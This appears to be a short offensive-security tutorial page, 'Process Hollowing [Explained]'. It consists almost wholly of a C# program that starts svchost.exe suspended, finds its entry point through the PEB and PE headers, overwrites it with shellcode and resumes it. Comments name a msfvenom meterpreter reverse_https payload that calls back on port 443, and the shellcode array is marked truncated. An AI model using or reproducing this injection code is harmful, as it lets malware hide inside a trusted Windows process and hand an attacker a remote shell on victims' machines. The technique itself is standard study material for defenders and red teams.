Process Hollowing [Explained]
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace Hollow
{
class Program
{
[StructLayout(LayoutKind.Sequential)]
struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
}
[StructLayout(LayoutKind.Sequential)]
struct STARTUPINFO
{
public uint cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public ushort wShowWindow;
public ushort cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr Reserved4;
}
internal enum PROCESS_INFORMATION_CLASS
{
ProcessBasicInformation = 0,
ProcessDebugPort = 7,
ProcessWow64Information = 26,
ProcessImageFileName = 27,
ProcessBreakOnTermination = 29,
ProcessSubsystemInformation = 75
}
[DllImport("ntdll.dll", SetLastError = true)]
static extern UInt32 ZwQueryInformationProcess(
IntPtr hProcess,
PROCESS_INFORMATION_CLASS procInformationClass,
ref PROCESS_BASIC_INFORMATION procInformation,
UInt32 ProcInfoLen,
ref UInt32 retlen);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
[Out] byte[] lpBuffer,
int dwSize,
out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint ResumeThread(IntPtr hThread);
static void Main(string[] args)
{
string CommandLine = @"C:\\Windows\\System32\\svchost.exe";
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
STARTUPINFO si = new STARTUPINFO();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
//Note the sixth value of 0x4 which corresponds to CREATE_SUSPENDED
//According to https://learn.microsoft.com/en-us/windows/win32/procthread/process-creation-flags:
//"The primary thread of the new process is created in a suspended state, and does not run until the ResumeThread function is called."
bool retValue = CreateProcess(null, CommandLine, ref pSec, ref tSec, false, 0x4, IntPtr.Zero, null, ref si, out pi);
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
//The third argument, bi (PROCESS_BASIC_INFORMATION) structure, will be populated with the PEB address
ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
//This is a pointer to the location where the process base address is stored
IntPtr PtrToProcBase = (IntPtr)((Int64)bi.PebAddress + 0x10);
//We read the value pointed to by PtrToProcBase in order to get the process base address
byte[] tempbuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, PtrToProcBase, tempbuf, tempbuf.Length, out nRead);
IntPtr targetProcBase = (IntPtr)(BitConverter.ToInt64(tempbuf, 0));
//We add 0x3C to the base address and read the value in order to get the offset of the PE headers from the process base address
byte[] tempbuf1 = new byte[IntPtr.Size];
ReadProcessMemory(hProcess, targetProcBase + 0x3C, tempbuf1, tempbuf1.Length, out nRead);
Int32 OffsetOfPEHeaders = BitConverter.ToInt32(tempbuf1, 0);
// We add 0x28 to the PE headers and read the value in order to get the offset of the entry point
byte[] tempbuf2 = new byte[IntPtr.Size];
ReadProcessMemory(hProcess, targetProcBase + OffsetOfPEHeaders + 0x28, tempbuf2, tempbuf2.Length, out nRead);
uint OffsetOfEntryPoint = BitConverter.ToUInt32(tempbuf2, 0);
//Now that we have the offset of the EntryPoint we can add it to the process base address to get the absolute address
IntPtr pEntryPoint = (IntPtr)(OffsetOfEntryPoint + (UInt64)targetProcBase);
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=eth0 LPORT=443 -f csharp
// Truncated
byte[] buf = new byte[751] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x48, 0x31, 0xd2, 0x51, 0x56, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x48, 0x8b, 0x72, 0x50, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0xff, 0xd5 };
//Write the shellcode to the entry point of the suspended process
WriteProcessMemory(hProcess, pEntryPoint, buf, buf.Length, out nRead);
//Resume thread will essentially invoke the shellcode
ResumeThread(pi.hThread);
}
}
}
Last updated